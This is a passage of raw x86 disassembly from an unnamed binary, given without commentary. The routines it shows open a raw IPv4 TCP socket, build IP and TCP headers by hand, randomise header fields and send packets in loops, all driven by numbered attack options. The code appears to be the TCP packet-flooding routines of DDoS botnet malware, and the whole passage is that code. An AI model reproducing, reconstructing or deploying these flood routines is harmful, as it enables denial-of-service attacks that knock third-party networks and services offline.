8049003: 66 83 7c 24 22 ff cmpw $0xffff,0x22(%esp)
8049009: 89 46 0c mov %eax,0xc(%esi)
804900c: 0f 85 17 ff ff ff jne 0x8048f29
8049012: e8 39 23 00 00 call 0x804b350
8049017: 66 83 7c 24 24 ff cmpw $0xffff,0x24(%esp)
804901d: 66 89 46 04 mov %ax,0x4(%esi)
8049021: 0f 85 0e ff ff ff jne 0x8048f35
8049027: e8 24 23 00 00 call 0x804b350
804902c: 66 83 7c 24 26 ff cmpw $0xffff,0x26(%esp)
8049032: 66 89 46 14 mov %ax,0x14(%esi)
8049036: 0f 85 05 ff ff ff jne 0x8048f41
804903c: e8 0f 23 00 00 call 0x804b350
8049041: 66 89 47 02 mov %ax,0x2(%edi)
8049045: e9 f7 fe ff ff jmp 0x8048f41
804904a: 83 ec 0c sub $0xc,%esp
804904d: 8b 44 24 28 mov 0x28(%esp),%eax
8049051: 50 push %eax
8049052: e8 7c 30 00 00 call 0x804c0d3
8049057: 83 c4 10 add $0x10,%esp
804905a: 83 c4 3c add $0x3c,%esp
804905d: 5b pop %ebx
804905e: 5e pop %esi
804905f: 5f pop %edi
8049060: 5d pop %ebp
8049061: c3 ret
8049062: 90 nop
8049063: 90 nop
8049064: 90 nop
8049065: 90 nop
8049066: 90 nop
8049067: 90 nop
8049068: 90 nop
8049069: 90 nop
804906a: 90 nop
804906b: 90 nop
804906c: 90 nop
804906d: 90 nop
804906e: 90 nop
804906f: 90 nop
8049070: 55 push %ebp
8049071: 57 push %edi
8049072: 56 push %esi
8049073: 53 push %ebx
8049074: 83 ec 74 sub $0x74,%esp
8049077: 31 c0 xor %eax,%eax
8049079: 8b bc 24 94 00 00 00 mov 0x94(%esp),%edi
8049080: 0f b6 b4 24 90 00 00 movzbl 0x90(%esp),%esi
8049087: 00
8049088: 6a 04 push $0x4
804908a: 81 e6 ff 00 00 00 and $0xff,%esi
8049090: 8a 84 24 8c 00 00 00 mov 0x8c(%esp),%al
8049097: 89 44 24 10 mov %eax,0x10(%esp)
804909b: 50 push %eax
804909c: e8 43 3f 00 00 call 0x804cfe4
80490a1: 89 44 24 18 mov %eax,0x18(%esp)
80490a5: 6a 00 push $0x0
80490a7: 6a 02 push $0x2
80490a9: 57 push %edi
80490aa: 56 push %esi
80490ab: e8 90 f4 ff ff call 0x8048540
80490b0: 88 44 24 59 mov %al,0x59(%esp)
80490b4: 83 c4 20 add $0x20,%esp
80490b7: 68 ff ff 00 00 push $0xffff
80490bc: 6a 03 push $0x3
80490be: 57 push %edi
80490bf: 56 push %esi
80490c0: e8 7b f4 ff ff call 0x8048540
80490c5: 89 44 24 1c mov %eax,0x1c(%esp)
80490c9: 6a 40 push $0x40
80490cb: 6a 04 push $0x4
80490cd: 57 push %edi
80490ce: 56 push %esi
80490cf: e8 6c f4 ff ff call 0x8048540
80490d4: 88 44 24 5c mov %al,0x5c(%esp)
80490d8: 83 c4 20 add $0x20,%esp
80490db: 6a 00 push $0x0
80490dd: 6a 05 push $0x5
80490df: 57 push %edi
80490e0: 56 push %esi
80490e1: e8 5a f4 ff ff call 0x8048540
80490e6: 88 44 24 4d mov %al,0x4d(%esp)
80490ea: 68 ff ff 00 00 push $0xffff
80490ef: 6a 06 push $0x6
80490f1: 57 push %edi
80490f2: 56 push %esi
80490f3: e8 48 f4 ff ff call 0x8048540
80490f8: 89 44 24 30 mov %eax,0x30(%esp)
80490fc: 83 c4 20 add $0x20,%esp
80490ff: 68 ff ff 00 00 push $0xffff
8049104: 6a 07 push $0x7
8049106: 57 push %edi
8049107: 56 push %esi
8049108: e8 33 f4 ff ff call 0x8048540
804910d: 89 44 24 24 mov %eax,0x24(%esp)
8049111: 68 ff ff 00 00 push $0xffff
8049116: 6a 11 push $0x11
8049118: 57 push %edi
8049119: 56 push %esi
804911a: e8 21 f4 ff ff call 0x8048540
804911f: 89 44 24 38 mov %eax,0x38(%esp)
8049123: 83 c4 20 add $0x20,%esp
8049126: 68 ff ff 00 00 push $0xffff
804912b: 6a 12 push $0x12
804912d: 57 push %edi
804912e: 56 push %esi
804912f: e8 0c f4 ff ff call 0x8048540
8049134: 89 44 24 2c mov %eax,0x2c(%esp)
8049138: 6a 00 push $0x0
804913a: 6a 0b push $0xb
804913c: 57 push %edi
804913d: 56 push %esi
804913e: e8 fd f3 ff ff call 0x8048540
8049143: 89 44 24 40 mov %eax,0x40(%esp)
8049147: 83 c4 20 add $0x20,%esp
804914a: 6a 01 push $0x1
804914c: 6a 0c push $0xc
804914e: 57 push %edi
804914f: 56 push %esi
8049150: e8 eb f3 ff ff call 0x8048540
8049155: 89 44 24 34 mov %eax,0x34(%esp)
8049159: 6a 00 push $0x0
804915b: 6a 0d push $0xd
804915d: 57 push %edi
804915e: 56 push %esi
804915f: e8 dc f3 ff ff call 0x8048540
8049164: 89 44 24 48 mov %eax,0x48(%esp)
8049168: 83 c4 20 add $0x20,%esp
804916b: 6a 00 push $0x0
804916d: 6a 0e push $0xe
804916f: 57 push %edi
8049170: 56 push %esi
8049171: e8 ca f3 ff ff call 0x8048540
8049176: 89 44 24 3c mov %eax,0x3c(%esp)
804917a: 6a 00 push $0x0
804917c: 6a 0f push $0xf
804917e: 57 push %edi
804917f: 56 push %esi
8049180: e8 bb f3 ff ff call 0x8048540
8049185: 89 44 24 50 mov %eax,0x50(%esp)
8049189: 83 c4 20 add $0x20,%esp
804918c: 6a 00 push $0x0
804918e: 6a 10 push $0x10
8049190: 57 push %edi
8049191: 56 push %esi
8049192: e8 a9 f3 ff ff call 0x8048540
8049197: 68 00 02 00 00 push $0x200
804919c: 89 c5 mov %eax,%ebp
804919e: 6a 00 push $0x0
80491a0: 57 push %edi
80491a1: 56 push %esi
80491a2: e8 99 f3 ff ff call 0x8048540
80491a7: 89 44 24 64 mov %eax,0x64(%esp)
80491ab: 83 c4 20 add $0x20,%esp
80491ae: 6a 01 push $0x1
80491b0: 6a 01 push $0x1
80491b2: 57 push %edi
80491b3: 56 push %esi
80491b4: e8 87 f3 ff ff call 0x8048540
80491b9: 88 44 24 5b mov %al,0x5b(%esp)
80491bd: a1 08 f1 04 08 mov 0x804f108,%eax
80491c2: 50 push %eax
80491c3: 6a 19 push $0x19
80491c5: 57 push %edi
80491c6: 56 push %esi
80491c7: e8 14 f3 ff ff call 0x80484e0
80491cc: 89 44 24 6c mov %eax,0x6c(%esp)
80491d0: 83 c4 1c add $0x1c,%esp
80491d3: 6a 06 push $0x6
80491d5: 6a 03 push $0x3
80491d7: 6a 02 push $0x2
80491d9: e8 41 36 00 00 call 0x804c81f
80491de: 89 44 24 44 mov %eax,0x44(%esp)
80491e2: 83 c4 10 add $0x10,%esp
80491e5: 40 inc %eax
80491e6: 0f 84 16 04 00 00 je 0x8049602
80491ec: c7 44 24 68 01 00 00 movl $0x1,0x68(%esp)
80491f3: 00
80491f4: 83 ec 0c sub $0xc,%esp
80491f7: 6a 04 push $0x4
80491f9: 8d 44 24 78 lea 0x78(%esp),%eax
80491fd: 50 push %eax
80491fe: 6a 03 push $0x3
8049200: 6a 00 push $0x0
8049202: 8b 44 24 50 mov 0x50(%esp),%eax
8049206: 50 push %eax
8049207: e8 d8 35 00 00 call 0x804c7e4
804920c: 83 c4 20 add $0x20,%esp
804920f: 40 inc %eax
8049210: 0f 84 dc 03 00 00 je 0x80495f2
8049216: 8b 44 24 14 mov 0x14(%esp),%eax
804921a: 8b 54 24 0c mov 0xc(%esp),%edx
804921e: 8b 4c 24 10 mov 0x10(%esp),%ecx
8049222: 66 89 44 24 40 mov %ax,0x40(%esp)
8049227: 8b 44 24 04 mov 0x4(%esp),%eax
804922b: 66 89 54 24 3a mov %dx,0x3a(%esp)
8049230: 66 89 4c 24 3e mov %cx,0x3e(%esp)
8049235: c7 44 24 68 00 00 00 movl $0x0,0x68(%esp)
804923c: 00
804923d: 85 c0 test %eax,%eax
804923f: 0f 8e a1 02 00 00 jle 0x80494e6
8049245: 8a 54 24 28 mov 0x28(%esp),%dl
8049249: 8b 4c 24 44 mov 0x44(%esp),%ecx
804924d: 83 c1 28 add $0x28,%ecx
8049250: 88 54 24 43 mov %dl,0x43(%esp)
8049254: 83 e2 01 and $0x1,%edx
8049257: 66 89 4c 24 54 mov %cx,0x54(%esp)
804925c: 88 54 24 58 mov %dl,0x58(%esp)
8049260: 8a 4c 24 30 mov 0x30(%esp),%cl
8049264: 8a 54 24 2c mov 0x2c(%esp),%dl
8049268: 83 e1 01 and $0x1,%ecx
804926b: 83 e2 01 and $0x1,%edx
804926e: 8b 44 24 18 mov 0x18(%esp),%eax
8049272: 88 54 24 59 mov %dl,0x59(%esp)
8049276: 88 4c 24 5a mov %cl,0x5a(%esp)
804927a: 8a 54 24 20 mov 0x20(%esp),%dl
804927e: 8a 4c 24 24 mov 0x24(%esp),%cl
8049282: 66 89 44 24 56 mov %ax,0x56(%esp)
8049287: 83 e2 01 and $0x1,%edx
804928a: 89 e8 mov %ebp,%eax
804928c: 83 e1 01 and $0x1,%ecx
804928f: 83 e0 01 and $0x1,%eax
8049292: 89 d7 mov %edx,%edi
8049294: 89 cd mov %ecx,%ebp
8049296: 88 44 24 5b mov %al,0x5b(%esp)
804929a: c1 e7 05 shl $0x5,%edi
804929d: 31 db xor %ebx,%ebx
804929f: c1 e5 04 shl $0x4,%ebp
80492a2: 50 push %eax
80492a3: 50 push %eax
80492a4: 6a 01 push $0x1
80492a6: 68 e6 05 00 00 push $0x5e6
80492ab: e8 34 3d 00 00 call 0x804cfe4
80492b0: 8b 54 24 18 mov 0x18(%esp),%edx
80492b4: 89 04 9a mov %eax,(%edx,%ebx,4)
80492b7: 8b 44 24 78 mov 0x78(%esp),%eax
80492bb: 8b 1c 82 mov (%edx,%eax,4),%ebx
80492be: c6 03 45 movb $0x45,(%ebx)
80492c1: 8d 73 14 lea 0x14(%ebx),%esi
80492c4: 8a 4c 24 49 mov 0x49(%esp),%cl
80492c8: 88 4b 01 mov %cl,0x1(%ebx)
80492cb: 8b 44 24 64 mov 0x64(%esp),%eax
80492cf: 66 c1 c8 08 ror $0x8,%ax
80492d3: 66 89 43 02 mov %ax,0x2(%ebx)
80492d7: 66 8b 44 24 4a mov 0x4a(%esp),%ax
80492dc: 66 c1 c8 08 ror $0x8,%ax
80492e0: 66 89 43 04 mov %ax,0x4(%ebx)
80492e4: 8a 44 24 4c mov 0x4c(%esp),%al
80492e8: 83 c4 10 add $0x10,%esp
80492eb: 88 43 08 mov %al,0x8(%ebx)
80492ee: 80 7c 24 3d 00 cmpb $0x0,0x3d(%esp)
80492f3: 74 06 je 0x80492fb
80492f5: 66 c7 43 06 40 00 movw $0x40,0x6(%ebx)
80492fb: c6 43 09 06 movb $0x6,0x9(%ebx)
80492ff: 8b 54 24 4c mov 0x4c(%esp),%edx
8049303: 8b 8c 24 84 00 00 00 mov 0x84(%esp),%ecx
804930a: 89 53 0c mov %edx,0xc(%ebx)
804930d: 8b 44 24 68 mov 0x68(%esp),%eax
8049311: 8d 04 40 lea (%eax,%eax,2),%eax
8049314: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax
8049318: 89 43 10 mov %eax,0x10(%ebx)
804931b: 66 8b 44 24 3e mov 0x3e(%esp),%ax
8049320: 66 c1 c8 08 ror $0x8,%ax
8049324: 66 89 43 14 mov %ax,0x14(%ebx)
8049328: 8b 44 24 40 mov 0x40(%esp),%eax
804932c: 66 c1 c8 08 ror $0x8,%ax
8049330: 66 89 46 02 mov %ax,0x2(%esi)
8049334: 66 8b 44 24 56 mov 0x56(%esp),%ax
8049339: 66 c1 c8 08 ror $0x8,%ax
804933d: 25 ff ff 00 00 and $0xffff,%eax
8049342: 89 46 04 mov %eax,0x4(%esi)
8049345: 8a 46 0c mov 0xc(%esi),%al
8049348: 83 e0 0f and $0xf,%eax
804934b: 83 c8 50 or $0x50,%eax
804934e: 88 46 0c mov %al,0xc(%esi)
8049351: 8a 46 0d mov 0xd(%esi),%al
8049354: 83 e0 cf and $0xffffffcf,%eax
8049357: 8a 4c 24 58 mov 0x58(%esp),%cl
804935b: 09 f8 or %edi,%eax
804935d: 8a 54 24 59 mov 0x59(%esp),%dl
8049361: c1 e1 03 shl $0x3,%ecx
8049364: 09 e8 or %ebp,%eax
8049366: c1 e2 02 shl $0x2,%edx
8049369: 83 e0 f3 and $0xfffffff3,%eax
804936c: 09 c8 or %ecx,%eax
804936e: 09 d0 or %edx,%eax
8049370: 8a 54 24 5a mov 0x5a(%esp),%dl
8049374: 01 d2 add %edx,%edx
8049376: 83 e0 fc and $0xfffffffc,%eax
8049379: 09 d0 or %edx,%eax
804937b: 0a 44 24 5b or 0x5b(%esp),%al
804937f: 88 46 0d mov %al,0xd(%esi)
8049382: e8 c9 1f 00 00 call 0x804b350
8049387: 80 7c 24 43 00 cmpb $0x0,0x43(%esp)
804938c: 66 89 46 0e mov %ax,0xe(%esi)
8049390: 74 04 je 0x8049396
8049392: 80 4e 0d 08 orb $0x8,0xd(%esi)
8049396: 50 push %eax
8049397: 50 push %eax
8049398: 8b 74 24 4c mov 0x4c(%esp),%esi
804939c: 8d 43 28 lea 0x28(%ebx),%eax
804939f: 56 push %esi
80493a0: 50 push %eax
80493a1: e8 ea 20 00 00 call 0x804b490
80493a6: 8b 5c 24 78 mov 0x78(%esp),%ebx
80493aa: 43 inc %ebx
80493ab: 89 5c 24 78 mov %ebx,0x78(%esp)
80493af: 83 c4 10 add $0x10,%esp
80493b2: 3b 5c 24 04 cmp 0x4(%esp),%ebx
80493b6: 0f 8c e6 fe ff ff jl 0x80492a2
80493bc: 8b 44 24 44 mov 0x44(%esp),%eax
80493c0: 8b 54 24 44 mov 0x44(%esp),%edx
80493c4: 83 c0 14 add $0x14,%eax
80493c7: 8b 4c 24 04 mov 0x4(%esp),%ecx
80493cb: 89 04 24 mov %eax,(%esp)
80493ce: 8d 5a 28 lea 0x28(%edx),%ebx
80493d1: 85 c9 test %ecx,%ecx
80493d3: 7e fe jle 0x80493d3
80493d5: 8b 6c 24 44 mov 0x44(%esp),%ebp
80493d9: c7 44 24 68 00 00 00 movl $0x0,0x68(%esp)
80493e0: 00
80493e1: 83 c5 14 add $0x14,%ebp
80493e4: 31 c0 xor %eax,%eax
80493e6: 8b 54 24 08 mov 0x8(%esp),%edx
80493ea: 8b 8c 24 84 00 00 00 mov 0x84(%esp),%ecx
80493f1: 8b 34 82 mov (%edx,%eax,4),%esi
80493f4: 8d 04 40 lea (%eax,%eax,2),%eax
80493f7: 8d 04 c1 lea (%ecx,%eax,8),%eax
80493fa: 8d 7e 14 lea 0x14(%esi),%edi
80493fd: 80 78 14 1f cmpb $0x1f,0x14(%eax)
8049401: 0f 86 01 01 00 00 jbe 0x8049508
8049407: 83 7c 24 4c ff cmpl $0xffffffff,0x4c(%esp)
804940c: 0f 84 4a 01 00 00 je 0x804955c
8049412: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp)
8049418: 0f 84 52 01 00 00 je 0x8049570
804941e: 66 83 7c 24 3e ff cmpw $0xffff,0x3e(%esp)
8049424: 0f 84 5b 01 00 00 je 0x8049585
804942a: 66 83 7c 24 40 ff cmpw $0xffff,0x40(%esp)
8049430: 0f 84 64 01 00 00 je 0x804959a
8049436: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp)
804943d: 00
804943e: 0f 84 6d 01 00 00 je 0x80495b1
8049444: 81 7c 24 1c ff ff 00 cmpl $0xffff,0x1c(%esp)
804944b: 00
804944c: 0f 84 75 01 00 00 je 0x80495c7
8049452: 80 7c 24 4b 00 cmpb $0x0,0x4b(%esp)
8049457: 0f 85 7d 01 00 00 jne 0x80495da
804945d: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi)
8049463: 51 push %ecx
8049464: 51 push %ecx
8049465: 6a 14 push $0x14
8049467: 56 push %esi
8049468: e8 c3 06 00 00 call 0x8049b30
804946d: 8b 54 24 10 mov 0x10(%esp),%edx
8049471: 66 89 46 0a mov %ax,0xa(%esi)
8049475: 66 c7 47 10 00 00 movw $0x0,0x10(%edi)
804947b: 89 e8 mov %ebp,%eax
804947d: 66 c1 c8 08 ror $0x8,%ax
8049481: 25 ff ff 00 00 and $0xffff,%eax
8049486: 52 push %edx
8049487: 50 push %eax
8049488: 57 push %edi
8049489: 56 push %esi
804948a: e8 f1 06 00 00 call 0x8049b80
804948f: 66 89 47 10 mov %ax,0x10(%edi)
8049493: 8b 84 24 88 00 00 00 mov 0x88(%esp),%eax
804949a: 8b 8c 24 a4 00 00 00 mov 0xa4(%esp),%ecx
80494a1: 66 8b 57 02 mov 0x2(%edi),%dx
80494a5: 8d 04 40 lea (%eax,%eax,2),%eax
80494a8: 83 c4 18 add $0x18,%esp
80494ab: c1 e0 03 shl $0x3,%eax
80494ae: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1)
80494b3: 01 c8 add %ecx,%eax
80494b5: 6a 10 push $0x10
80494b7: 50 push %eax
80494b8: 68 00 40 00 00 push $0x4000
80494bd: 53 push %ebx
80494be: 56 push %esi
80494bf: 8b 44 24 50 mov 0x50(%esp),%eax
80494c3: 50 push %eax
80494c4: e8 d8 32 00 00 call 0x804c7a1
80494c9: 8b 84 24 88 00 00 00 mov 0x88(%esp),%eax
80494d0: 40 inc %eax
80494d1: 89 84 24 88 00 00 00 mov %eax,0x88(%esp)
80494d8: 83 c4 20 add $0x20,%esp
80494db: 3b 44 24 04 cmp 0x4(%esp),%eax
80494df: 7d 16 jge 0x80494f7
80494e1: e9 00 ff ff ff jmp 0x80493e6
80494e6: 8b 4c 24 44 mov 0x44(%esp),%ecx
80494ea: 8b 44 24 44 mov 0x44(%esp),%eax
80494ee: 83 c1 14 add $0x14,%ecx
80494f1: 89 0c 24 mov %ecx,(%esp)
80494f4: 8d 58 28 lea 0x28(%eax),%ebx
80494f7: 8b 4c 24 04 mov 0x4(%esp),%ecx
80494fb: 85 c9 test %ecx,%ecx
80494fd: 0f 8e d0 fe ff ff jle 0x80493d3
8049503: e9 cd fe ff ff jmp 0x80493d5
8049508: 8b 40 10 mov 0x10(%eax),%eax
804950b: 89 44 24 50 mov %eax,0x50(%esp)
804950f: 66 c1 c8 08 ror $0x8,%ax
8049513: c1 c8 10 ror $0x10,%eax
8049516: 66 c1 c8 08 ror $0x8,%ax
804951a: 89 44 24 50 mov %eax,0x50(%esp)
804951e: e8 2d 1e 00 00 call 0x804b350
8049523: 8b 54 24 68 mov 0x68(%esp),%edx
8049527: 8d 0c 52 lea (%edx,%edx,2),%ecx
804952a: 8b 94 24 84 00 00 00 mov 0x84(%esp),%edx
8049531: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl
8049535: 8b 54 24 50 mov 0x50(%esp),%edx
8049539: 81 e1 ff 00 00 00 and $0xff,%ecx
804953f: d3 e8 shr %cl,%eax
8049541: 01 d0 add %edx,%eax
8049543: 66 c1 c8 08 ror $0x8,%ax
8049547: c1 c8 10 ror $0x10,%eax
804954a: 66 c1 c8 08 ror $0x8,%ax
804954e: 83 7c 24 4c ff cmpl $0xffffffff,0x4c(%esp)
8049553: 89 46 10 mov %eax,0x10(%esi)
8049556: 0f 85 b6 fe ff ff jne 0x8049412
804955c: e8 ef 1d 00 00 call 0x804b350
8049561: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp)
8049567: 89 46 0c mov %eax,0xc(%esi)
804956a: 0f 85 ae fe ff ff jne 0x804941e
8049570: e8 db 1d 00 00 call 0x804b350
8049575: 66 83 7c 24 3e ff cmpw $0xffff,0x3e(%esp)
804957b: 66 89 46 04 mov %ax,0x4(%esi)
804957f: 0f 85 a5 fe ff ff jne 0x804942a
8049585: e8 c6 1d 00 00 call 0x804b350
804958a: 66 83 7c 24 40 ff cmpw $0xffff,0x40(%esp)
8049590: 66 89 46 14 mov %ax,0x14(%esi)
8049594: 0f 85 9c fe ff ff jne 0x8049436
804959a: e8 b1 1d 00 00 call 0x804b350
804959f: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp)
80495a6: 00
80495a7: 66 89 47 02 mov %ax,0x2(%edi)
80495ab: 0f 85 93 fe ff ff jne 0x8049444
80495b1: e8 9a 1d 00 00 call 0x804b350
80495b6: 81 7c 24 1c ff ff 00 cmpl $0xffff,0x1c(%esp)
80495bd: 00
80495be: 89 47 04 mov %eax,0x4(%edi)
80495c1: 0f 85 8b fe ff ff jne 0x8049452
80495c7: e8 84 1d 00 00 call 0x804b350
80495cc: 80 7c 24 4b 00 cmpb $0x0,0x4b(%esp)
80495d1: 89 47 08 mov %eax,0x8(%edi)
80495d4: 0f 84 83 fe ff ff je 0x804945d
80495da: 50 push %eax
80495db: 50 push %eax
80495dc: 8b 44 24 4c mov 0x4c(%esp),%eax
80495e0: 50 push %eax
80495e1: 8d 46 28 lea 0x28(%esi),%eax
80495e4: 50 push %eax
80495e5: e8 a6 1e 00 00 call 0x804b490
80495ea: 83 c4 10 add $0x10,%esp
80495ed: e9 6b fe ff ff jmp 0x804945d
80495f2: 83 ec 0c sub $0xc,%esp
80495f5: 8b 44 24 40 mov 0x40(%esp),%eax
80495f9: 50 push %eax
80495fa: e8 d4 2a 00 00 call 0x804c0d3
80495ff: 83 c4 10 add $0x10,%esp
8049602: 83 c4 6c add $0x6c,%esp
8049605: 5b pop %ebx
8049606: 5e pop %esi
8049607: 5f pop %edi
8049608: 5d pop %ebp
8049609: c3 ret
804960a: 90 nop
804960b: 90 nop
804960c: 90 nop
804960d: 90 nop
804960e: 90 nop
804960f: 90 nop
8049610: 55 push %ebp
8049611: 57 push %edi
8049612: 56 push %esi
8049613: 53 push %ebx
8049614: 83 ec 64 sub $0x64,%esp
8049617: 8b 9c 24 84 00 00 00 mov 0x84(%esp),%ebx
804961e: 0f b6 b4 24 80 00 00 movzbl 0x80(%esp),%esi
8049625: 00
8049626: 6a 04 push $0x4
8049628: 81 e6 ff 00 00 00 and $0xff,%esi
804962e: 8a 44 24 7c mov 0x7c(%esp),%al
8049632: 25 ff 00 00 00 and $0xff,%eax
8049637: 50 push %eax
8049638: 89 c5 mov %eax,%ebp
804963a: e8 a5 39 00 00 call 0x804cfe4
804963f: 89 44 24 14 mov %eax,0x14(%esp)
8049643: 6a 00 push $0x0
8049645: 6a 02 push $0x2
8049647: 53 push %ebx
8049648: 56 push %esi
8049649: e8 f2 ee ff ff call 0x8048540
804964e: 88 44 24 55 mov %al,0x55(%esp)
8049652: 83 c4 20 add $0x20,%esp
8049655: 68 ff ff 00 00 push $0xffff
804965a: 6a 03 push $0x3
804965c: 53 push %ebx
804965d: 56 push %esi
804965e: e8 dd ee ff ff call 0x8048540
8049663: 89 44 24 18 mov %eax,0x18(%esp)
8049667: 6a 40 push $0x40
8049669: 6a 04 push $0x4
804966b: 53 push %ebx
804966c: 56 push %esi
804966d: e8 ce ee ff ff call 0x8048540
8049672: 88 44 24 58 mov %al,0x58(%esp)
8049676: 83 c4 20 add $0x20,%esp
8049679: 6a 01 push $0x1
804967b: 6a 05 push $0x5
804967d: 53 push %ebx
804967e: 56 push %esi
804967f: e8 bc ee ff ff call 0x8048540
8049684: 88 44 24 49 mov %al,0x49(%esp)
8049688: 68 ff ff 00 00 push $0xffff
804968d: 6a 06 push $0x6
804968f: 53 push %ebx
8049690: 56 push %esi
8049691: e8 aa ee ff ff call 0x8048540
8049696: 89 44 24 2c mov %eax,0x2c(%esp)
804969a: 83 c4 20 add $0x20,%esp
804969d: 68 ff ff 00 00 push $0xffff
80496a2: 6a 07 push $0x7
80496a4: 53 push %ebx
80496a5: 56 push %esi
80496a6: e8 95 ee ff ff call 0x8048540
80496ab: 89 44 24 20 mov %eax,0x20(%esp)
80496af: 68 ff ff 00 00 push $0xffff
80496b4: 6a 11 push $0x11
80496b6: 53 push %ebx
80496b7: 56 push %esi
80496b8: e8 83 ee ff ff call 0x8048540
80496bd: 89 44 24 34 mov %eax,0x34(%esp)
80496c1: 83 c4 20 add $0x20,%esp
80496c4: 6a 00 push $0x0
80496c6: 6a 12 push $0x12
80496c8: 53 push %ebx
80496c9: 56 push %esi
80496ca: e8 71 ee ff ff call 0x8048540
80496cf: 89 44 24 28 mov %eax,0x28(%esp)
80496d3: 6a 00 push $0x0
80496d5: 6a 0b push $0xb
80496d7: 53 push %ebx
80496d8: 56 push %esi
80496d9: e8 62 ee ff ff call 0x8048540
80496de: 89 44 24 3c mov %eax,0x3c(%esp)
80496e2: 83 c4 20 add $0x20,%esp
80496e5: 6a 00 push $0x0
80496e7: 6a 0c push $0xc
80496e9: 53 push %ebx
80496ea: 56 push %esi
80496eb: e8 50 ee ff ff call 0x8048540
80496f0: 89 44 24 30 mov %eax,0x30(%esp)
80496f4: 6a 00 push $0x0
80496f6: 6a 0d push $0xd
80496f8: 53 push %ebx
80496f9: 56 push %esi
80496fa: e8 41 ee ff ff call 0x8048540
80496ff: 89 44 24 44 mov %eax,0x44(%esp)
8049703: 83 c4 20 add $0x20,%esp
8049706: 6a 00 push $0x0
8049708: 6a 0e push $0xe
804970a: 53 push %ebx
804970b: 56 push %esi
804970c: e8 2f ee ff ff call 0x8048540
8049711: 89 44 24 38 mov %eax,0x38(%esp)
8049715: 6a 01 push $0x1
8049717: 6a 0f push $0xf
8049719: 53 push %ebx
804971a: 56 push %esi
804971b: e8 20 ee ff ff call 0x8048540
8049720: 89 44 24 4c mov %eax,0x4c(%esp)
8049724: 83 c4 20 add $0x20,%esp
8049727: 6a 00 push $0x0
8049729: 6a 10 push $0x10
804972b: 53 push %ebx
804972c: 56 push %esi
804972d: e8 0e ee ff ff call 0x8048540
8049732: 89 c7 mov %eax,%edi
8049734: a1 08 f1 04 08 mov 0x804f108,%eax
8049739: 50 push %eax
804973a: 6a 19 push $0x19
804973c: 53 push %ebx
804973d: 56 push %esi
804973e: e8 9d ed ff ff call 0x80484e0
8049743: 89 44 24 60 mov %eax,0x60(%esp)
8049747: 83 c4 1c add $0x1c,%esp
804974a: 6a 06 push $0x6
804974c: 6a 03 push $0x3
804974e: 6a 02 push $0x2
8049750: e8 ca 30 00 00 call 0x804c81f
8049755: 89 44 24 40 mov %eax,0x40(%esp)
8049759: 83 c4 10 add $0x10,%esp
804975c: 40 inc %eax
804975d: 0f 84 bc 03 00 00 je 0x8049b1f
8049763: c7 44 24 58 01 00 00 movl $0x1,0x58(%esp)
804976a: 00
804976b: 83 ec 0c sub $0xc,%esp
804976e: 6a 04 push $0x4
8049770: 8d 44 24 68 lea 0x68(%esp),%eax
8049774: 50 push %eax
8049775: 6a 03 push $0x3
8049777: 6a 00 push $0x0
8049779: 8b 44 24 4c mov 0x4c(%esp),%eax
804977d: 50 push %eax
804977e: e8 61 30 00 00 call 0x804c7e4
8049783: 83 c4 20 add $0x20,%esp
8049786: 40 inc %eax
8049787: 0f 84 82 03 00 00 je 0x8049b0f
804978d: 8b 54 24 08 mov 0x8(%esp),%edx
8049791: 8b 4c 24 0c mov 0xc(%esp),%ecx
8049795: 66 89 54 24 36 mov %dx,0x36(%esp)
804979a: 8b 44 24 10 mov 0x10(%esp),%eax
804979e: 8a 54 24 1c mov 0x1c(%esp),%dl
80497a2: 66 89 4c 24 3a mov %cx,0x3a(%esp)
80497a7: 66 89 44 24 3c mov %ax,0x3c(%esp)
80497ac: 88 54 24 3f mov %dl,0x3f(%esp)
80497b0: c7 44 24 58 00 00 00 movl $0x0,0x58(%esp)
80497b7: 00
80497b8: 85 ed test %ebp,%ebp
80497ba: 0f 8e 81 01 00 00 jle 0x8049941
80497c0: 83 e2 01 and $0x1,%edx
80497c3: 8a 44 24 20 mov 0x20(%esp),%al
80497c7: 8b 4c 24 14 mov 0x14(%esp),%ecx
80497cb: 88 54 24 03 mov %dl,0x3(%esp)
80497cf: 83 e0 01 and $0x1,%eax
80497d2: 66 89 4c 24 46 mov %cx,0x46(%esp)
80497d7: 88 44 24 48 mov %al,0x48(%esp)
80497db: 8a 54 24 24 mov 0x24(%esp),%dl
80497df: 8a 4c 24 28 mov 0x28(%esp),%cl
80497e3: 8a 44 24 2c mov 0x2c(%esp),%al
80497e7: c0 64 24 03 05 shlb $0x5,0x3(%esp)
80497ec: 83 e2 01 and $0x1,%edx
80497ef: 83 e1 01 and $0x1,%ecx
80497f2: 83 e0 01 and $0x1,%eax
80497f5: 88 54 24 49 mov %dl,0x49(%esp)
80497f9: 88 4c 24 4a mov %cl,0x4a(%esp)
80497fd: 88 44 24 4b mov %al,0x4b(%esp)
8049801: 83 e7 01 and $0x1,%edi
8049804: 31 db xor %ebx,%ebx
8049806: 56 push %esi
8049807: 56 push %esi
8049808: 6a 01 push $0x1
804980a: 68 80 00 00 00 push $0x80
804980f: e8 d0 37 00 00 call 0x804cfe4
8049814: 8b 54 24 14 mov 0x14(%esp),%edx
8049818: 89 04 9a mov %eax,(%edx,%ebx,4)
804981b: 8b 44 24 68 mov 0x68(%esp),%eax
804981f: 8b 1c 82 mov (%edx,%eax,4),%ebx
8049822: c6 03 45 movb $0x45,(%ebx)
8049825: 8d 73 14 lea 0x14(%ebx),%esi
8049828: 8a 4c 24 45 mov 0x45(%esp),%cl
804982c: 66 c7 43 02 00 3c movw $0x3c00,0x2(%ebx)
8049832: 88 4b 01 mov %cl,0x1(%ebx)
8049835: 66 8b 44 24 46 mov 0x46(%esp),%ax
804983a: 66 c1 c8 08 ror $0x8,%ax
804983e: 66 89 43 04 mov %ax,0x4(%ebx)
8049842: 8a 44 24 48 mov 0x48(%esp),%al
8049846: 83 c4 10 add $0x10,%esp
8049849: 88 43 08 mov %al,0x8(%ebx)
804984c: 80 7c 24 39 00 cmpb $0x0,0x39(%esp)
8049851: 74 06 je 0x8049859
8049853: 66 c7 43 06 40 00 movw $0x40,0x6(%ebx)
